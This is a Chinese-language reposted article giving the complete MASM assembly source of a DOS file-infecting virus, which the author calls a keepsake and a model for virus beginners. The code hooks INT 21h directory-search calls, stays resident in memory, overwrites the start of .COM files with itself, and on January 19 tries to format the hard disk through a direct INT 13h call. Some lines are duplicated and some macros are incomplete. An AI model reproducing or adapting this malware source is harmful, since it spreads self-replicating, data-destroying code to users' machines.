编写的第一个病毒
当然我没有拿出去感染。(这是很重要的:))
这个病毒的历史应该有五年之久了,所以编写地水平应该说是很低我把它保持原样,作为一个纪念,也作为病毒新手的一个范例。
这个病毒通过截获Int 21H的11H,12H子功能进行感染,11h,12h是FCB方式的Findfirst,findnext同时截获4E,4F(FINDFIRST,FINDNEXT)感染病毒发作于1月19日,发作方式为格式化硬盘(但是好象当年编写错了,不能破坏现在的微机:))病毒的感染方法是将COM文件的前面的一段(长度为病毒的长度)挪至末尾,然后把病毒本身覆盖于宿主前面所有注释都是为大家新加的,我写ASM以前没有注释的习惯
请在MASM5下编译
~
;Include stdio.h ;中间包括pmain,pend,retms
retms macro
mov ax,4c00h
Int 21h
Endm
pmain macro
code segment
assume cs:code,ds:code
org 100h
start:
endM
pend macro
code ends
end start
endM
theSize equ offset endit-100h ;病毒的长度=最后的偏移减去PSP的长度
addnum equ thesize+200
wpt equ word ptr
bpt equ byte ptr
filebufofs equ offset endit + 100
Stackofs equ offset endit
GetDta macro ;这个Macro得到DTA的指针
mov ah,2fh
int 21h ;FCB方式的很多东西都保存在DTA中间。
push es
pop ds
push bx
pop si
pop si
EndM
pushAll macro ;保存寄存器的MACRO
Irp reg,
PUSH REG
ENDM
POPALL MACRO ;恢复寄存器的MACRO
iRP REG,
POP REG
ENDM
;如果大家想省点空间,使用.286 ,把这两个Macro改成Pusha & Popa
Dta Struc ;Data transfer Area的结构,对于感染而言可以得到文件名
reServed db 21 dup(?)
Attr db ?
Time dw ?
Date dw ?
fileSize dd ?
filename db 13 dup (?)
FreeName db ?,?,?
Dta ends
pmain
Jmp begin
thebegin dw offset endit
begin:
mov ax,0ffeeh ;这是我的病毒驻留标志判断
int 21h
cmp ax,0eeffh ;返回为0EEFF表示已经驻留
je installed
mov cs:ShowFlag,-1
mov ah,2ah ;看看当前日期
int 21h
cmp dl,19 ;19号?
jne next
cmp dh,1 ;1月?
jne NotformatHdisk
mov cs:ShowFlag,0
NotformatHdisk:
Call Show ;惨了,我要格式化硬盘了
Next:
xor ax,ax
mov es,ax
mov ax,es:[21h*4+2]
mov bx,es:[21h*4]
mov wpt cs:old21+2,ax
mov wpt cs:old21,bx ;保存老的INT 21H的中断向量
call getaddress ;把病毒代码移动到高端
mov ax,cs:addr
mov bx,offset int21h
cli
xor cx,cx
mov es,cx
mov es:[21h*4],bx
mov es:[21h*4+2],ax ;把INT 21H的控制权交给病毒
sti
installed:
mov ax,cs
mov ds,ax
mov es,ax
mov si,thebegin
mov di,100h
mov cx,thesize ;恢复100H开始处被破坏的指令
cld
rep movsb
jmp Start ;跳转回100H,转宿主执行
;注意:可能应该Push cs,
;Mov ax,100h,Push ax,retf
DtaSave Dta <> ;保存DTA的缓冲区
addr dw ?
Flag db 0
SaveSS dw ?
SaveSP dw ?
dtaSize equ 43 ;Dta的大小为43个字节
Handle dw ? ;将来用到的文件Handle
NextFlag db ?
getaddress proc near ;病毒驻留模块
mov ax,cs
dec ax
mov es,ax ;得到MCB (Memory Control Block)的段值
mov ax,es:[3] ;得到MCB的块大小
mov bx,offset endit ;
add bx,addnum ;
add bx,15 ;
mov cl,4 ;
shr bx,cl ;
sub ax,bx ;把MCB的块大小减少(病毒的长度*2 + 200)
mov es:[3],ax ;这样留出的空间给病毒程序和病毒读写的文件缓冲
mov bx,cs
mov bx,cs
add ax,bx
mov cs:addr,ax
mov es,ax ;得到病毒驻留空间的段值
xor si,si
xor di,di
push cs
pop ds
mov cx,offset endit
cld
rep movsb ;把病毒代码移到留出的空间位置
ret
getaddress endp
old21 dd ?
int24h proc far
mov al,0
mov cs:Flag24h,-1 ;防止出现严重错误
Iret
Flag24h db 0 ;例如出现感染写保护出现的提示
int24h endp
CH24h proc near ;替换INT 24H
xor ax,ax
mov es,ax
mov es,ax
mov ax,es:[24h*4]
mov bx,es:[24h*4+2]
mov wpt cs:old24,ax
mov wpt cs:old24+2,bx
mov bx,cs
mov ax,offset int24h
mov es:[24h*4],ax
mov es:[24h*4+2],bx
ret
Ch24h endp
Res24 proc near ;还原INT 24H
xor ax,ax
mov es,ax
mov ax,wpt cs:old24
mov bx,wpt cs:old24+2
mov es:[24h*4],ax
mov es:[24h*4+2],bx
ret
Res24 endp
old24 dd ?
int21h proc far ;感染监控核心部分,INT 21H处理
sti
sti
cmp ax,0ffeeh ;病毒驻留标志
jne next21h
mov ax,0eeffh ;返回已经驻留
Iret
next21h:
cmp ah,4fh ;是FindNext吗?
je findnext
cmp ah,12h ;是FCB方式的FindNext吗?
jne outInt21h
mov bpt cs:NextFlag,0 ;NextFlag=0表示为FCB FindNext
Jmp FindNext1
outInt21h:
jmp cs:old21
findnext:
mov cs:NextFlag,1 ;NextFlag=1表示为4F FinddNext
findnext1:
mov cs:Flag24h,0 ;
mov cs:SaveSS,ss
pushAll
mov cs:SaveSP,SP ;保存SS,SP,然后切换堆栈
mov ds,cs:SaveSS ;保证DOS重入成功
mov si,sp
mov si,sp
mov ax,cs
mov es,ax
mov di,StackOfs
cld
mov cx,50
rep movsw ;保存50个字的堆栈,我的TSR经常使用
mov ax,cs
mov ss,ax
mov sp,100h ;切换堆栈
GetDTA ;DS:SI --> DTA adress ;得到DTA的指针
push cs
pop es
mov di,offset DTASave
mov cx,DTASize
cld
rep movsb ;保存起DTA的数据
call ch24h ;修改INT24H,保障不出严重错误
cmp bpt cs:NextFlag,1 ;以4F方式的DTA为摸版
je NotCHangeDta
call ChangeDta ;如果是标准DTA方式扩展成扩展DTA
NotCHangeDta:
call cmpifcomFile ;判断当前查的文件是否COM文件
cmp al,0
jne Hasbeen
Call cmpifbeen ;是COM文件判断是否被感染
cmp al,0
jne Hasbeen
cmp cs:Flag24h,-1 ;出现严重错误,放弃感染
je HasBeen ;
Call dofile ;否则感染之
Hasbeen:
call Res24 ;恢复INT24H
cli
push cs
pop ds
mov es,cs:SaveSS
mov si,StackOfs
mov di,cs:SaveSP
cld
mov cx,50
rep movsw ;恢复堆栈
mov ss,cs:SaveSS
mov Sp,cs:SaveSp ;恢复堆栈寄存器
sti
sti
PopAll
Jmp cs:old21 ;转原INT 21H处理程序
Int21h endp
Cmpifcomfile proc near
mov si,offset DtaSave.filename
LoopCMp:
cmp bpt cs:[si],0
je OutCmp
inc si
jmp loopCmp
Outcmp:
cmp bpt cs:[si-1],''M''
jne notComfile
cmp bpt cs:[si-2],''O''
jne notComfile
cmp bpt cs:[si-3],''C''
jne notComfile
cmp bpt cs:[si-4],''.'' ;比较文件扩展名是否为.COM
jne notComfile
mov al,0
ret
notComfile:
notComfile:
mov al,-1
ret
Cmpifcomfile endp
cmpifbeen proc near ;看是否已经被感染
push cs
pop ds
mov dx,offset DtaSave.filename
mov ax,3d00h
int 21h
jc been
mov cs:handle,ax
mov ah,3fh
mov bx,cs:handle
mov cx,2
mov dx,FILEBUFOFS
int 21h
mov ah,3eh
mov bx,cs:handle
int 21h
mov si,100h
mov ax,ds:[si]
mov si,FIleBufOfs
mov bx,ds:[si]
cmp ax,bx ;判断感染标志,(最前两字节)
je Been
mov al,0
ret
been:mov al,-1
ret
cmpifbeen endp
Dofile proc near ;病毒感染模块,文件处理过程。
mov ax,4300h
push cs
pop ds
mov dx,offset DtaSave.filename
int 21h
and cl,100111b
mov DtaSave.attr,cl
and cl,100b
jnz Out1 ;Sys file
mov ax,4301h
mov dx,offset DTASave.filename
mov cx,0 ;清除文件属性
int 21h
jnc replaceOk
Out1:
Ret
ReplaceOk:
cmp cs:Flag24h,-1 ;
je Out1 ;
mov ax,3d02h ;读写方式打开文件
int 21h
jc Out1
mov cs:handle,ax
mov ah,3fh
mov bx,cs:handle
mov cx,thesize
push cs
pop ds
mov dx,filebufOfs
int 21h ;将最前一段(大小为病毒大小)
jnc condowrite ;读出来
mov Dx,offset DtaSave.filename
mov Cl,cs:dtaSave.Attr
xor ch,ch
mov Ax,4301h ;恢复文件属性
int 21h
Ret
Condowrite:
mov ax,4202h
mov bx,cs:handle
xor cx,cx
xor dx,dx
int 21h ;移动文件指针到最后
add ax,100h
mov cs:thebegin,ax
mov dx,fileBufofs
mov cx,theSize
mov bx,cs:handle
mov ah,40h
int 21h ;把保存的宿主前面的代码写到
mov ax,4200h ;文件末尾
xor cx,cx
xor dx,dx
mov bx,cs:handle
int 21h ;移动文件指针到最前
mov dx,100h
mov ah,40h
mov ah,40h
mov cx,theSize
mov bx,cs:handle
int 21h ;把病毒体写入文件开头处
mov ah,3eh
mov bx,cs:handle
int 21h ;关闭文件
mov dx,offset DtaSave.filename
xor ch,ch
mov cl,cs:DtaSave.Attr
mov ax,4301h
int 21h ;恢复文件属性
mov al,0
ret
Dofile endp
CHangeDta proc near ;由于4F和12H方式DTA有差别
mov ah,cs:DtaSave.reserved+7
cmp ah,0 ;为了同等对待
jne NotCur ;把12H方式的DTA格式按
;4FH方式转换
;两种DTA方式的DTA格式请
;参考我的HELPSTAR中的说明
push cs
pop ds
mov ah,19h
int 21h
mov ah,al
Inc ah
NotCur:
add ah,''A''-1
mov cs:DtaSave.filename,ah
mov ah,'':''
mov cs:dtaSave.filename+1,ah
push cs
pop ds
mov si,offset DtaSave+1+7
push cs
pop es
mov di,offset DtaSave.filename+2
mov cx,8
cld
LoopCh:
lodsb
cmp al,'' ''
je outLoopCh
dec si
movsb
loop loopCh
outLoopCh:
mov al,''.''
mov es:[di],al
inc di
mov si,offset DtaSave+9+7
mov cx,3
LoopCh1:
lodsb
cmp al,'' ''
je outLoopCh1
dec si
movsb
loop loopCh1
outLoopCh1:
xor ah,ah
mov es:[di],ah
mov cs:dtaSave.Attr,ah
Ret
CHangeDta endp
CHangeDta endp
Show Proc near ;病毒发作模块
push cs
pop ds
mov Dx,offset ShowMsg
mov ah,9
int 21h ;提示信息
Call form ;格式化程序
Ret
Show endp
ShowMsg db 07h,''My dear XLM:'',0ah,0dh
db '' Happy birthday and happy a new year !'',0ah,0dh,0ah,0dh
db '' Yours LEM .'',0ah,0dh
db 0ah,0dh,''$''
ShowFlag db -1
form proc near
jmp Star_1
format_msg db 0,0,0,2 ;0-39,0-1,0-8
db 0,1,1,2
db 0,0,2,2
db 0,1,3,2
db 0,0,4,2
db 0,1,5,2
db 0,1,5,2
db 0,0,6,2
db 0,1,7,2
db 0,0,8,2
star_1:
mov ax,cs
mov es,ax
mov ds,ax
mov bx,offset format_msg
mov ah,5
mov al,0ffh
mov dl,80h
mov dh,0
mov cx,0
PushF
db 9ah ;Call AbsInt13Adr
dd 0f000CC78h ;INT 13的绝对地址
Ret ;去掉Ret则自动重启动
db 0EAH
dd 0F000FFF0h ;重新启动
form endp
Endit:
retms ;返回DOS,对于第一次感染有用
pend(完)
文章转载地址:http://www.cnpaf.net/Class/Virus/05122020353975772161.htm